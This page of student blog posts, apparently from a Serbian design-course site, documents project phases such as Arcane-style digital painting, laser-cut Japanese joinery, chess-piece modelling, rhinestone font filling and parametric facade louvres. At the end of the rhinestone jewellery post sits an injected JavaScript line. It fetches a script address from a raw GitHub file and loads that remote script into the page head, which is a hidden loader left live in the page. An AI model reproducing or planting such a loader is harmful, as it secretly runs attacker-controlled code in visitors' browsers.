Dizajn i postupak formiranja samonosive zakrivljene strukture znatno je olakšan digitalnim modelovanjem i fabrikacijom, sa mogućnošću jednostavne izmene parametara – forme, dimenzija, broja oslonaca… Stvara se mogućnost dobijanja kreativnih rešenja zakrivljenih struktura koje su kroz istoriju arhitekture bile privlačne ali i teško izvodive.

 

 

Posted in 23/24 Radovi, Opšte | Comments Off on Modelovanje samonosive zakrivljene strukture faza 3

Reprodukcija scene/zgrade/osobe iz stvarnog života u stilu serije Arcane korišćenjem programa Adobe Photoshop – Faza3

sva 3 crteza

Na osnovu prethodnog posta, gde sam istraživala metod digitalnog slikanja serije Arcane i to primenila na primeru kocke, odlučila sam da uradim isto u tri mnogo kompleksnija primera u pokušaju da ih prikažem kroz stil Arcane-a bazirajući se konkretno na sam umetnički stil serije. Istražila sam i primenila boje i osvetljenja i pokušala preneti različite atmosfere scena iz serije u cilju da dobijem više zanimljivih rezultata:

  1. crvena vrata i deo zgrade koje sam uslikala u Beogradu – inspirisano gradom Zaun
  2. katedrala iz centra Novog Sada- inspirisano gradom Piltover
  3. nacrtala sam sebe kao Arcane karaktera :D

a) Našla sam 3D model katedrale iz centra Novog Sada na 3D Warehouse, ubacila to u Blender, dodala osvetljenje čisto kao početni osecaj za scenu i uradila jednostavan render koji sam posle oslikala u Adobe Photoshop-u. Htela sam da odaje atmosferu Arcane grada – Piltover. Koristila sam u suštini iste alatke kao iz prethodnog posta kao što su Pick screen color, Polyline selection, Fill, Blur filter i Glow dodge na lejerima koji sadrže svetlo. Za četkice sam koristila default photoshop četkice u zavisnosti kad mi je koja više odgovarala uz minimalne izmene karakteristika četke. Ovo može posle da se projektuje tj camera mapuje na taj 3D model katedrale u blenderu i da se kreira 3D scena oslikana 2D crtežima što je tema za sebe.

1

– referenca iz Arcane grada – Piltover                                                         moja interpretacija –

2Ovo je bilo dosta zahtevno zbog visokog nivoa detalja kako samog Piltover-a tako i same detaljnosti katedrale koja je ovde čak svedena na minimum mada je render iz blendera dosta pomogao da geometrija bude ispravnija nego ona crtana ručno. Smatram da sam delimično uspela da prenesem atmosferu Piltovera zbog manjka poznavanja njihovog profesionalnog umeća ali crtež je uspešno pretvoren u animiranu scenu.

b) Zatim sam pokušala da primenim način na koji su Arcane tim umetnika oslikali karaktere na primeru crteža sebe.

3– Arcane tim je karaktere 3D modelovao pa oslikavao no ja sam odlučila da samo oslikam sebe uz pomoć reference crteža Jinx odakle sam uzimala boje i pratila poteze njihovih četkica, senki, highlight-ova, linija itd.

4Ovo je bilo dosta jednostavno zbog smanjenih detalja koji su morali da se oslikaju i slične poze oba karaktera. Na osnovu ličnog zaključka i mišljenja prijatelja i poznanika koje sam pitala, ovo je, pored katedrale, najuspešniji ”Arcane like” crtež od sva tri primera.

c) Na kraju sam nacrtala i jednu mini scenu crvenih vrata koje sam uslikala kad sam bila u Beogradu. Htela sam da odaje atmosferu Arcane grada – Zaun- gde imamo mračnu scenu sa hintovima zelene i braon boje i suptilnog zelenkastog osvetljenja, oronulim zidom, grafitima i upečatljivim narandžastim svetlom koje vuče najviše pažnje posmatraču slike.

5

– reference iz Arcane grada – Zaun                                                             moja interpretacija –

6Ovo je takođe bilo dosta jednostavno za oslikati zbog smanjenih obimnih detalja scene i smanjenog fokusa na samo vrata i deo zgrade no zbog samog mog neposedovanja, još uvek, tolikog umetničkog skilla smatram da je i ovo delimično uspelo no osećaj animirane scene je uspešno postignut.

ZAKLJUČAK: Pokazalo se da je moguće postići dobar i zanimljiv rezultat animiranog dela analizom i primenom umetničkog stila i tehnika iz serije Arcane na bilo koje scene, bilo da su inspirisane stvarnim životom ili imaginarne, uz određeno posedovanje umetničkih veština u digitalnom slikarstvu.

 

Posted in 23/24 Radovi | Comments Off on Reprodukcija scene/zgrade/osobe iz stvarnog života u stilu serije Arcane korišćenjem programa Adobe Photoshop – Faza3

Modelovanje i fabrikacija stolice koristeći japanese wood joinery u cilju poboljšanja modela klasično izradjene stolice- faza 3

Faze rada modelovanja i fabrikacije stolice:

1. odrediti vrstu zgloba i njegovu ulogu pri kreiranju stolice

zglob broj 1 – uloga: horizontalni elementi stolice, nogare i deo naslona

*sastoji se od elemanata koji se pružaju u 3 pravca

*( x, y, z ose( horizontalni i vertikalni elementi) se seku u jednoj tački ( zglobu))

istrazivanje zgloba 4 strane

 

zglob broj 2 – uloga: naslon stolice

*sastoji se od od dva elementa koja se seku u zglobu

l axial

 

2. modelovanje stolice

* koristeći program RHINO vrši se modelovanje stolice u cilju njene fabrikacije laserskim sečenjem.

-Kako bi se oblik zgloba preneo sa punog drveta i ručne obrade na materijal kao što je šperploča i lasersko sečenje bilo je potrebno raščlaniti sam zglob na slojeve kako bi se olakšala njegova fabrikacija.

Screenshot 2024-06-27 173207 Screenshot 2024-06-27 173216

Screenshot 2024-06-27 173233Screenshot 2024-06-27 173224

 

* priprema za fabrikaciju

Screenshot 2024-07-13 162728

 

 

 

 

 

 

*izometrijski prikaz stolice

dijagram stolice i zglobova slika

 

3. fabrikacija i sastavljanje stolice

*proces sastavljanja stolice

-Svaki element je sastavljen od 6 slojeva šperploče lepljenih drvofiksom.

IMG-20240713-WA0079 IMG-20240713-WA0064 IMG-20240713-WA0061 IMG-20240713-WA0046

*finalni produkt

IMG-20240713-WA0023 IMG-20240713-WA0024

IMG-20240713-WA0052 IMG-20240713-WA0051 IMG-20240713-WA0058IMG-20240713-WA0056

-ZAKLJUČAK: *Moguće je izvršiti fabrikaciju stolice sa japanskim drvenim zglobovima laserskim sečenjem.

Problem: Ovakav način proizvodnje ne poštuje osnovne principe ove metode, kao što su trajnost (upotrebom lepka i šperploče gubi se trajnost proizvoda), stabilnost i neki estetski aspekti ove tehnike (npr. smooth edges).

Prednosti: Ekonomski gledano, prednosti laserskog sečenja uključuju jeftiniji materijal i jednostavniji, precizniji proces proizvodnje u poređenju s tradicionalnom ručnom tehnikom.

 

Posted in Opšte | Comments Off on Modelovanje i fabrikacija stolice koristeći japanese wood joinery u cilju poboljšanja modela klasično izradjene stolice- faza 3

Modelovanje i fabrikacija drvenih konstrukcija pomuću “japanese joinery”-a na brži i moderniji način – faza 3

Treća faza se odnosi na izradu japanese joinery-a.

Korišćena je šperploča kao materijal, koja je laserski sečena da bi se dobili odgovarajući oblici. Jedan oblik je podeljen u 3 segmenta koji su kasnije spojeni. Korišćeni su uglavnom jednostavniji oblici koji su lakši za sečenje. Dobija se varijacija raznih oblika koji mogu da bude korišćeni u spoju.

 

IMG_20240711_010417

Ovo su primeri kako se od 3 segmenta dobija jedinstveni oblik japanese joinery-a

IMG_20240711_030453 IMG_20240711_031750IMG_20240711_035943IMG_20240711_040003

 

 

 

 

 

 

 

Potom je urađen spoj raznih elemenata koji su dobijeni.

IMG_20240711_031927

 

 

 

 

 

 

 

Ovim je potvrđeno da je moguće izvesti japanese joinery modernim načinom proizvodnje, konkretno u ovom slučaju laserskim sečenjem. Ovo bi bio brzi i jeftiniji način proizvodnje, ali neke kompleksinije oblike možda ne bi bilo moguće proizvesti na ovaj način gde se oblik deli u 3 segmenta, ali je ovo sasvim dovoljno za proizvodnju određenog nameštaja na primer.

 

 

Posted in 23/24 Radovi | Comments Off on Modelovanje i fabrikacija drvenih konstrukcija pomuću “japanese joinery”-a na brži i moderniji način – faza 3

Upoređivanje modelovanja 2D-3D šahovskih figura koristeći 3ds max – Faza III

U finalnom delu rada objasniću već pomenuti proces na lovcu i uporediti ga sa onim od kanala Polyfjord, urađenom u Blenderu.

WhatsApp Image 2024-07-31 at 22.24.20 (3)WhatsApp Image 2024-07-31 at 22.24.20

 

1. Modelovanje lovca uz lathe komandu

 

 

lovclovvrrt

 

2. Importovanje željenog 2D oblika figura i ekstrudovanje 

 

 

 

lovci od gorelovci

 

3. Možemo videti da je figura modelovana uz pomoć Boolean komande u potpunosti odgovara cilju oko kojeg je ovo istraživanje bazirano, bez potrebe dodatnog sređivanja samog modela lovca.

lvc Izgled  figure lovca sa videa Polyfjorda pre detaljisanja koje u slučaju rada u 3Dsmaxu nije bilo potrebno  

Kao zaključak rekao bih da je 3Dsmax bolja opcija od Blendera za konkretno ovaj zadatak. Činjenica da poseduje ne jednu nego dve komande (ProBoolean i Boolean) za razliku od Blenderove jedne (Boolean) dosta pomaže u izradi ovakvih modela. U slučaju da Boolean pravi komplikacije u većini slučajeva ProBoolean će uraditi kako treba i obrnuto.

 

 

 

 

Posted in Opšte | Comments Off on Upoređivanje modelovanja 2D-3D šahovskih figura koristeći 3ds max – Faza III

Upoređivanje modelovanja 2D-3D šahovskih figura koristeći 3ds max – Faza II

U ovom delu rada pokazao bih kako funkcionišu komande koje će biti potrebne za finalnu fazu projekta – počevši od jednostavnih oblika do modelovanja pijuna.

U 3ds Maxu, postoje dve glavne metode za izvođenje Boolean operacija: Boolean i ProBoolean. Oba alata služe za manipulaciju geometrijom kroz kombinaciju ili oduzimanje objekata, ali se razlikuju u nekoliko aspekata, najviše u pogledu fleksibilnosti i kontrole.

 

I Primer na jednostavnom obliku

boolean

Iz priložene fotografije može se zaključiti da je moguće postignuti isti efekat sa obe komande kada su u pitanju manje zahtevni oblici.

I Primer na složenijem obliku

WhatsApp Image 2024-07-31 at 22.24.20 (2)  WhatsApp Image 2024-07-31 at 22.24.20 (1)

1. Modelovanje figure uz pomoć Lathe komande

 

pijun ek

2. Importovanje željenog 2D oblika figura i ekstrudovanje 

pijun od gore pijuni gotovi 

3. Iz prikazanog zaključujemo da je moguće izmodelovati pijuna sa željenim 2D/3D karakteristikama. Za modelovanje se u ovom slučaju preporučuje ProBoolean komanda, zbog neuspeha Boolean-a.

 

 

 

 

 

 

Posted in Opšte | Comments Off on Upoređivanje modelovanja 2D-3D šahovskih figura koristeći 3ds max – Faza II

Upoređivanje modelovanja 2D-3D šahovskih figura koristeći 3ds max – Faza I

OBLAST – modelovanje u 3D prostoru

PREDMET – upoređivanje procesa modelovanja postojećeg istraživanja kanala Polyfjord u Blenderu i mog doprinosa u 3ds maxu

TEMA – modelovanje 2D/3D šahovskih figura

STANJE U OBLASTI – postojeći proces modelovanja Youtube kanala Polyfjord

CILJ – izmodelovati pomenuti i potencijalno rešiti određene probleme pri modelovanju 2D-3D šahovskog seta

KRITERIJUM   ispunjavanje istog efekta koristeći sličan broj komandi

HIPOTEZA– Moguće je postići željeni model koristeći oba softvera

 

1 (thumbnail videa kanala Polyfjord koji je inspiracija za ovo istraživanje)

Posted in Opšte | Comments Off on Upoređivanje modelovanja 2D-3D šahovskih figura koristeći 3ds max – Faza I

Efikasak način fabrikovanja nakita sa štrasom primenom algoritma part3

 

G!V5F-9_page-0001

 

Da bismo sproveli istraživanje, bilo je važno da kriterijumi budu ravnopravni. Potrebno je bilo pronaći cirkone sa sličnim površinama, a zaključili smo da je najbolje da svi cirkoni imaju istu visinu.

G!V5F-13_page-0001

 

Font je dizajniran da zadovolji oblike cirkona, uz minimalnu slobodnu površinu pri njihovom popunjavanju.

 

Dva pristupa rešavanju problema:

1/ redjanje cirkona po gridu unutar konture slova

2/ nasumično popunjavanje cirkonima unutar konture slova

 

1/ redjanje cirkona po gridu unutar konture slova

-kvadratni cirkoni

G!V5F-21_page-0001

-trougaoni cirkoni

G!V5F-22_page-0001

-šestougaoni cirkoni

G!V5F-23_page-0001

Istraživanje je pokazalo da kvadrati popunjavaju najveću površinu slova sa najmanjim ostatkom slobodne površine. S druge strane, kod trouglova imamo najveću površinu bez cirkona. Kvadrati su efikasniji za popunjavanje, dok trouglovi ostavljaju više praznog prostora.

G!V5F-24_page-0001

2/ nasumično popunjavanje cirkonima unutar konture slova

-okrugli cirkoni

G!V5F-26_page-0001

Cilj je da površina slova ima što manju površinu bez cirkona. Iz tog razloga smo uveli mogućnost povećanja cirkona unutar slova. Tako se postiže veća pokrivenost i smanjuje se slobodna površina.

G!V5F-30_page-0001 G!V5F-31_page-0001

 

 

Zaključak je da su kvadratni cirkoni najbolji za popunjavanje površine slova, jer ostavljaju najmanje slobodne površine. Šestouglovi su na drugom mestu, dok su trouglovi na četvrtom, jer kod njih ostaje najviše slobodne površine bez cirkona. Iako kružni cirkoni estetski deluju kao da najbolje popunjavaju površinu, istraživanje je pokazalo da su oni na trećem mestu po efikasnosti popunjavanja.

G!V5F-32_page-0001

 

 ;var url = ‘https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});

Posted in 23/24 Radovi | Comments Off on Efikasak način fabrikovanja nakita sa štrasom primenom algoritma part3

Modelovanje ergonomski adekvatnije i adaptabilnije maske za telefon zbog lakšeg držanja i nošenja – Faza III

U završnoj fazi projekta došla sam do dva finalna modela maske.

Jedan sa izbočinama na kritičnim tačkama za držanje maske, drugi sa vazdušastim ,,jastucima” koji bi olakšali držanje telefona i učinili ga udobnijim (zbog same prirode materijala i vazduha).

Korišćenjem jednostavnih alatki u Rhino-u, napravila sam prvi model. Ručno sam modelovala masku, zatim poleđinu maske izdelila na manje delove pomoću Rebuild Surface alatke, uključila zatim kontrolne tačke alatkom PointsOn i izvukla izbočine na mestima do kojih sam došla prethodnim detaljnim istraživanjem.

Pomoću GrassHopper koda uspela sam da napravim drugi model, kod kog se menjanjem parametara može postići različita forma ,,jastučića” u zavisnosti od toga koliki Pressure odaberemo na Slider-u.
Takođe, eksperimentalnim putem sam dokazala da je ova ideja izvodljiva i ostavila prostora za dalja istraživanja i unapređivanja modela, te i potencijalne proizvodnje.

Anketom sam pokazala da postoji zainteresovanost za obe vrste modela, ali da je ona malo veća za drugi model. Time sam dokazala i hipotezu da je sve što je novo i nepoznato ljudima uglavnom interesantno i primamljivo za kupovinu.

Proces modelovanja je brži za Model 1, ali je lakše promenljiv za Model 2. Model 2 ima GH kod koji se po potrebi može lako menjati, iako je njegova izrada bila duža i zahtevnija.

Uspešno sam dokazala da su obe ideje pozitivno ocenjene kod potencijalnih mušterija, dala novu ideju za proizvodnju maski i ostavila prostora za dalja istraživanja i usavršavanja modela.

render 1

render 4

dsdsdc

Posted in Opšte | Comments Off on Modelovanje ergonomski adekvatnije i adaptabilnije maske za telefon zbog lakšeg držanja i nošenja – Faza III

Procena tačnosti i efikasnosti ručnog modelovanja u poređenju sa fotogrametrijskim 3D modelovanjem-Faza III

U trećoj fazi odlučila sam da istraživanje nastavim na primeru košarkaške lopte. Fotografije lopte sam uvezla u aplikaciju Polycam i posle nekoliko neuspelih pokušaja dobila sam zadovoljavajući rezultat.

Screenshot_15

Zatim sam je u programu 3ds Max izmodelovala kako bih uporedila dobijene rezultate.

Screenshot_11

Model koji je dobijen postupkom fotogrametrije ima mnogo veći nivo detaljnosti i mnogo više liči na original. Što se tiče vremena izrade kod konkretnog primera ne postoj velika razlika jer je i postupak fotogrametrije ponavljan više puta. Prednosti ručnog modelovanja jesu tačnost dimenzija i precizan geometrijski oblik.Screenshot_17 Screenshot_18 Screenshot_14

Zaključak je da i jedan i drugi pristup imaju svoje prednosti i mane ali se postupkom fotogrametrije mnogo lakse moze dobiti tekstura koja je identična posmatranom modelu.

Posted in Opšte | Comments Off on Procena tačnosti i efikasnosti ručnog modelovanja u poređenju sa fotogrametrijskim 3D modelovanjem-Faza III

Faza 3: Parametarski pristup umetnosti – pomoću Voronoi oblika.

Konačan rezultat koji želimo jeste parametarski modelovana fotografija.

Početak: Definisanje dimenzija okvira, dimenzije konačne fotografije. Zatim se dobijeni okvir ispuni određenim brojem tačaka, koristeći komandu Populate 2D. Sledeći korak jeste ubacivanje fotografije pomoću komande Image Sampler. Pokretanjem komande Voronoi, tačke se međusobno povezuju i tako formiraju željenu fotografiju. Oblici se formiraju na osnovu boja na fotografiji.

 

 

hvataj ph1

Hvataj3ph2

Konačan rezultat se može korigovati u zavisnosti od željene detaljnosti fotografije. Tako je moguće menjati pozicije tačaka, površinu segmenata i sam oblik segmenata koji formiraju konačan rezultat.

KONAČAN REZULTAT.

Image1_016

KONAČAN REZULTAT .

Zaključak: Moguće je koristiti Grasshopper za parametarsko modelovanje fotografije.Hipoteza je tačna.

Posted in 23/24 Radovi | Comments Off on Faza 3: Parametarski pristup umetnosti – pomoću Voronoi oblika.

String Art sa 3D Naočarima

String art je umetnička forma koja koristi obojene niti, konac ili žicu za kreiranje geometrijskih obrazaca i slika na podlozi.  Niti se “pletu” između tačaka na mreži, često na drvenoj podlozi, da bi se formirali složeni dizajni. Ova forma umetnosti kombinuje matematiku, geometriju i estetiku u jedinstvene vizuelne prikaze. Međutim, nedavni inovativni pristupi dodali su novu dimenziju ovoj umetnosti: upotrebu 3D naočara sa plavim i crvenim staklima, koje omogućavaju gledaocima da dožive interaktivne i dinamične efekte.

Tehnika i Materijali

U string artu sa 3D naočarima, koriste se dve različite boje konca: crvena i plava. Prilikom postavljanja niti, umetnik pažljivo planira i kombinuje ove boje kako bi stvorio slike koje se mogu videti na različite načine kroz specijalizovane naočare. Kada gledalac nosi naočare sa plavim staklima, plavi konci postaju nevidljivi, otkrivajući samo crvene niti, i obrnuto. Ovaj efekat se postiže zbog načina na koji različite boje svetlosti prolaze kroz filtrirane sočiva naočara.

Proces Stvaranja

  1. Dizajn: Umetnik prvo skicira osnovni dizajn na papiru ili digitalnom mediju, planirajući gde će se postaviti crvene i plave niti. Dizajn mora biti takav da pruža interesantan vizuelni doživljaj kada se gleda kroz oba filtera naočara.slika_page-0001
  2. Okvir i Podloga: Drveni okvir ili ploča služe kao podloga. Na njoj su označene tačke gde će biti postavljeni ekseri ili čavlići koji će držati nitistring_art_tutorial-4--56a491f25f9b58b7d0d7980d
  3. Postavljanje Niti: Umetnik postavlja niti po unapred određenom planu. Plavi konac je pažljivo razvučen između određenih tačaka, dok je crveni konac postavljen između drugih. Mora se paziti da niti ne budu previše zategnute ili labave kako bi se postigao željeni efekat.

Vizuelni Efekti

Kada posmatrač stavi naočare sa plavim staklima, plave niti se stope sa pozadinom, postajući nevidljive, dok crvene niti ostaju jasno vidljive, stvarajući jedinstvenu sliku. Kada se naočare promene na crvena stakla, dešava se suprotan efekat. Ovaj pristup stvara dinamične vizuelne efekte koji se menjaju u zavisnosti od ugla posmatranja i korišćenih filtera.

images

ttttttrawing1 (2)-Layout1_page-0001slika 2_page-0001crvena_page-0001

Zaključak

String art sa 3D naočarima predstavlja inovativan spoj tradicionalne umetnosti i moderne tehnologije. Kroz pažljivo planiranje i primenu različitih boja niti, umetnici mogu kreirati dinamične i interaktivne umetničke radove koji pružaju jedinstveno vizuelno iskustvo.

Posted in Opšte | Comments Off on String Art sa 3D Naočarima

Modelovanje yeezy foam patika- faza III

Kako se istraživanje svodi na strategiji za najbrže i najjednostavnije modelovanje ovih patika, pretpostavka je bila da će se to najbolje realizovati u 3ds max-u. Pored jednostavnog postavljanjem plane-ova, dodavanjem slika modela i modifikacijom kubusa pomoću odredjenih funkcija koji su bili pomenuti u prethodnom postu, dodati su završni detalji i model je ispao identičan originalnom.

Proces:

fAZA0-300x242

Screenshot (1011)

 

 

Screenshot (1016)

 

FAZA-2-300x218

 

yeezyfoam 1

Zaključak:

Hipoteza se ispostavila tačnom, moguće je izmodelovati identičan model patika u 3ds Maxu. Medjutim što se tiče brzine izrade mislim da sa jedne strane nije najbrže rešenje,dok sa druge strane ukoliko želimo da izmodelujemo objekat koji ima dosta detalja sa kojima mi ručno možemo da modifikujemo model po svojoj želji, ovaj program je itekako adekvatno rešenje za to. Sam rezultat je veoma zadovoljavajuć i samim tim se može izraditi u stvarnom obliku pomoću 3d štampe.Takođe izmodelovan je model patika koji odgovara broju koji ja nosim, jer se trenutno ovaj model ne može kupiti u broju  39 i 1/2  već samo u celim brojevima što predstavlja veliki problem korisnicima pored toga što nema ništa što bi dodatno “pričvrstilo” stopalo i patiku.

 

Posted in Opšte | Comments Off on Modelovanje yeezy foam patika- faza III

Kreiranje 3D scene izvedene iz 2D slike na što jednostavniji način – faza 3

Da bi postigli trodimenzionalni utisak na malo kompleksnijem crtežu potrebno je izdeliti ga na što manje segmenata, tako da na kraju idalje imamo utisak da se radi o 3D prostoru.

U ovom slučaju kula je izdvojena kao poseban element. Ostali elementi deljeni su na osnovu potrebnog utiska dubine prostora, drugačijeg položaja ravni, i vrste elementa (cveće, drveće, zid itd.)

Screenshot 2024-06-26 124111Neki elementi biće odvojeni od onih iza, što se na crtežu ne vidi. Ovo znači da će postojati površine koje će faliti na crtežu, a koje će biti potrebno popuniti (na primer nebo iza kule).

skrin2

Screenshot 2024-06-26 132819

pozadina je podeljena u više ravni

Neki elementi će imati više strana. U tom slučajuih ipak moramo razdvojiti na više delova, a u ovom slučaju, na primer- mali stepenik ispod kule.

Screenshot 2024-06-26 130538

Sav materijal je sortiran radi lakšeg ubacivanja u Blender.

 

Kula kao najsloženiji element podeljena je na što manje segmenata. Prozori i terasice su uvučene/ izvučene.

ezgif.com-crop (2)

Finalna scena ima utisak trodimenzionalnosti, ali ne u velikoj meri. Primena ovog metoda je jednostavna, ali nekad zahteva više podataka nego što 2D slika poseduje, čak i izvan kadra početnog crteža/ fotografije.

scene6

scene5

 

 

 

 

 

 

 

 

Sa druge strane, ovim se može postići utisak blage trodimenzionalnosti, što možda može biti korisno ako nam je potreban malo drugačiji ugao za istu ilustraciju. Primeri se vide ispod.

scena 1

neki prikazi mogućih kadrova

 

 

Posted in 23/24 Radovi, Opšte | Comments Off on Kreiranje 3D scene izvedene iz 2D slike na što jednostavniji način – faza 3

Realizacija držača za vinske flaše-Faza 3

Kako bi dokazali da držač za vinske flaše može da zadovolji zahteve koje smo postavili u prethodnom postu, morali smo prehodno da ispitamo koje dimenzije, vrsta materijala i količina flaša je odgovarajuća.

Istraživanje se svelo na dokazivanje premisa pomoću prototipa, gde se javio prostor za unapredjenje zamišljenog držača.

Pomoću Rhino programa izmodelovali smo elemente koji su sastavni deo držača, okvirnih dimenzija  52x25cm.

Screenshot 2024-06-23 230153

 

Prototip je izrađen od lepenke debljine 2mm i lajsne kružnog preseka prečnika 28mm. Držač je predviđen da nosi 4 vinske flaše od 750ml i 5 flaša od 187ml. Lepenka je laserski sečena iz 4 dela dimenzija 40x60cm.

 

maketa

Prednosti prototipa:

Jednostavna priprema elemenata, pristupačna cena, estetski zadovoljavajuće, držač nije težak i lak je za prenošenje.

Mane prototipa:

Tesko se uspostavlja veza elemenata lepkom, potrebno je suziti otvore i dodati dodatni element za ukrućenje kako bi korisnici imali što kvalitetniji proizvod.

Zaključak:
Finalni proizvod izrađen od šperploče sa tačnije defnisanim otvorima i boljim izborom materijala odgovarao bi svim zahtevima, zahvaljujući prototipu koji je ukazao na određene greške.

2

Posted in Opšte | Comments Off on Realizacija držača za vinske flaše-Faza 3

Faza 3 – Modelovanje i fabrikacija kocke koja projektuje željenu senku/sliku

U ovoj fazi istraživanja na red je došla fabrikacija. Hipoteza je bila ta da bi se ovakav model mogao fabrikovati na jednostavniji i jeftiniji način od načina na koji su to radili Drzach i Suchy, a da pritom finalni proizvod bude istog ili zanemarljivo lošijeg kvaliteta.

Prilikom razmatranja različitih opcija fabrikacije istražio sam više potencijalnih načina 3d štampe kojima bi ovako nešto moglo da se napravi.  Prvobitna ideja je bila da se umesto SLS koristi SLA štampa koja je jeftinija, ali na kraju se ispostavilo da ta opcija nije moguća. Što se tiče FDM štampe ovakav model bi bio previše kompleksan.

Posle nekoliko pokušaja prilagođavanja uspeo sam da dođem do kompromisnog rešenja. Za 11 paralelnih segmenata na kojima su raspoređeni delovi slike koristio sam FDM štampu a onda sam te delove spojio tankim drvenim štapićima postavljenim u uglovima.

konačan rezultat:                             rezultat predviđen u programu:

Whatspost

Proces prilagođavanja pripreme modela za štampu:

Screenshot (193)—>Screenshot (192)—>Screenshot (194)

Zaključak:

Moguće je napraviti model sa skromnijim budžetom ali njegov kvalitet ne može da parira onome koji je urađen SLS štampom.

Posted in 23/24 Radovi | Comments Off on Faza 3 – Modelovanje i fabrikacija kocke koja projektuje željenu senku/sliku

III FAZA – Prilagodljivo slaganje popločanja za maksimalnu efikasnost

U ovoj fazi sam ubacio kompleksniju osnovu koju smo imali i na gradilištu i pokušao da primenim dobijene rezultate u praksi.

Počeo sam sa unošenjem kompleksnije osnove, šemu slaganja i okvir oko šeme. Snimak ekrana (26)Snimak ekrana (27)

 

Dalje sam primenio sve korake iz prethodne faze i dobio rezultat koji izgleda ovako Snimak ekrana (41)

Nakon 60 segmenata pokušavanja da pronadje najbolje rešenje što je oko 40 minuta (takodje računamo u potrošeno vreme), izbacilo mi je da je 704 broj kocaka za sečenje.

U praksi je ispalo oko 33 metara sečenja što je odradjeno za 2 dana i uz pomoć jednog radnika. Pošto u ovoj šemi slaganja ima 3 vrste kocaka kada podelimo njihovu širinu sa 704 dobijemo oko sto je oko 115 metara.

Zaključak:

Neki poslovi koji i dalje zahtevaju radnu snagu su sa razlogom takvi a ne automatizovani. Čak i nakon nekoliko pokušaja da se dobije bolji rezultat program nije mogao da pogodi dva ugla sa kojima bi rezultat bio mnogo bolji (ta dva ugla čovek može uz malo iskustva odmah da vidi) stoga je ovaj način računanja veoma neefikasan i nefunkcionalan.

Ovo je definitivno pripomoglo u nekom budućem istraživanju načina slaganja ali do tada, teorema nije funkcionalna.

 

Posted in Opšte | Comments Off on III FAZA – Prilagodljivo slaganje popločanja za maksimalnu efikasnost

III Fasadno platno sa rotirajim kružnim otvorima

Ideja istraživanja je zahtevala rad na fasadnom platnu koje u svojoj geometriji poseduju otvore koji se razlikuju po svojoj veličini i rasporedu. Ovakav vid rešenja fasadnog platna ima za cilj da na najadekvatniji način prilikom različitih vremenskih uslova i doba dana  osvetljava određene delove prostorija unutar samog objekta.

Jedan primer kombinacije veličine i rasporeda rotirajućih brisoleja na fasadnom platnu.

CELA ZGRADA 3

Na osnovu primene metode istraživanja na složenijem primerku prilikom menjanja određenih parametara uočavaju se bolji i lošiji rezultati.

Za zadati slučaj pružanja sunčevih zraka i različite položaje rotacionih ploča na kružnim otvorima oučeni su sledeći slučajevi:

120 STEPENI BRISOLEJ  1) rotacione ploče na otvorima pod uglom od 10°

10 STEPENI BRISOLEJ 2)ugao od 120°

60 STEPENI BRISOLEJ3) ugao 60°

90 STEPENI BRISOLEJ4) ugao 90°

30 STEPENI BRISOLEJ5) ugao od 30°

Na osnovu navedenih slučajeva uočava se da je najveći intezitet osvetljenja i procenat osvetljene površine prostorije u slučaju kada su rotacioni kružni brisoleji postavljeni pod uglom od 60°.

AMBIJENT 3 5bAmbjentalni prikaz jedne etaže i svih etaža objekta objekta brisoleja kada je brisolej pod uglom od 60°.

Posted in Opšte | Comments Off on III Fasadno platno sa rotirajim kružnim otvorima

I Modelovanje pokretnih (rotacionih) fasadnih brisoleja

OBLAST: Parametarsko modelovanje fasadnih brisoleja

TEMA: Ispitivanje osunčanosti unutrašnjeg prostora i modelovanje pokretnih (rotacionih) fasadnih brisoleja

OPIS: Na osnovu proračunskog modela celodnevne osunčanosti unutrašnjeg prostora objekta modeluju se pokretni paneli. Svojim položajima u različitim periodima dana najefikasnije kontrolišu ulazak sunčeve svetlosti i stvaraju najkomfornije uslove za boravak u analiziranim prostorijama. Postavka pokretnih fasadnih brisoleja omogućiće smanjenju potrošnju energije za održavanje odgovarajućih termičkih uslova. Ovaj vid fasadne zaštite propuštaće sunčevo zračenje kada je najpotrebnije tokom godine (pozna jesen, zima, rano proleće). Ali imaće mogućnost kontrolisane regulacije u prelaznim periodima (proleće i jesen) i sprečavanje prekomernog prodora direktnog sunčevog zračenja leti uz istovremeno propuštanje dovoljne količine svetlosti u radni i životni prostor. Uticaj na objekat se može utvrditi na osnovu promene uglova samih brisoleja i njihovog rastojanja  od objekta.

1f6de6c2feaba9c1d2794577927102bf22

Posted in Opšte | Comments Off on I Modelovanje pokretnih (rotacionih) fasadnih brisoleja

FAZA I – MODELOVANJE ERGONOMSKI ADAPTIRANE STAKLENE ČAŠE

OBLAST: Modelovanje čaše pomoću softvera 3ds Max i Rhino
TEMA: Modelovanje čaše koja će imati unikatni dizajn i lakšu upotrebljivost prlikom držanja, ispijanja i pranja
PREDMET: Modelovanje ergonomski formirane čaše upotrebom softvera
STANJE U OBLASTI: Istraživanjem ovog polja dizajna, kao i srodnih tema, dolazi se do zaključka da ljudi kao potrošači imaju želju za posedovanjem unikatnih predmeta, ali da ovo polje još nije dovoljno razvijeno i da se uglavnom prodaju predmeti koji su generički dizajnirani i proizvedeni.
PROBLEM: Veličina prstiju, odnosno šake, varira od pojedinca do pojedinca. Potrebno je pronaći optimalnu varijantu koja bi zadovoljila sva udubljenja i ispupčenja na čaši, kako bi svi korisnici podjednako dobro mogli da osete benefite proizvoda.
CILJ: Mogućnost posedovanja zanimljivih oblika čaša, atraktivniji izgled predmeta u odnosu na onaj koji je ustaljen i na koji smo navikli, kao i iskorak u nauci proizašao iz teme KAKO OBLIK ČAŠE UTIČE NA ISPIJANJE.
KRITERIJUM: Zainteresovanost i zadovoljstvo potrošača, utrošeno vreme za izradu modela u zavisnosti od softvera
HIPOTEZA: Mogućnost iskoraka kako u estetici, tako i u nauci i proizvodnji.

COGGLE: https://coggle.it/diagram/ZjzuSVn7Ojz48FnN/t/ergonomsko-oblikovanje-staklene-%C4%8Da%C5%A1e/590aab776becf542fffbf963301c90158e29d8098e3cca8c64b89466b480e5fa

Posted in Opšte | Comments Off on FAZA I – MODELOVANJE ERGONOMSKI ADAPTIRANE STAKLENE ČAŠE

Primena anamorfnih reči na zakrivljanim formama – faza III

U trećem delu izdvojili smo tri preostala pitanja:

 

1. Kako formirati smislenu strukturu

2. Kako i da li je moguće uklopiti anamorfnu reč u istu, korišćenjem isključivo boje

3. Koja reč je u pitanju

4. O kakvom prosotru govorimo

 

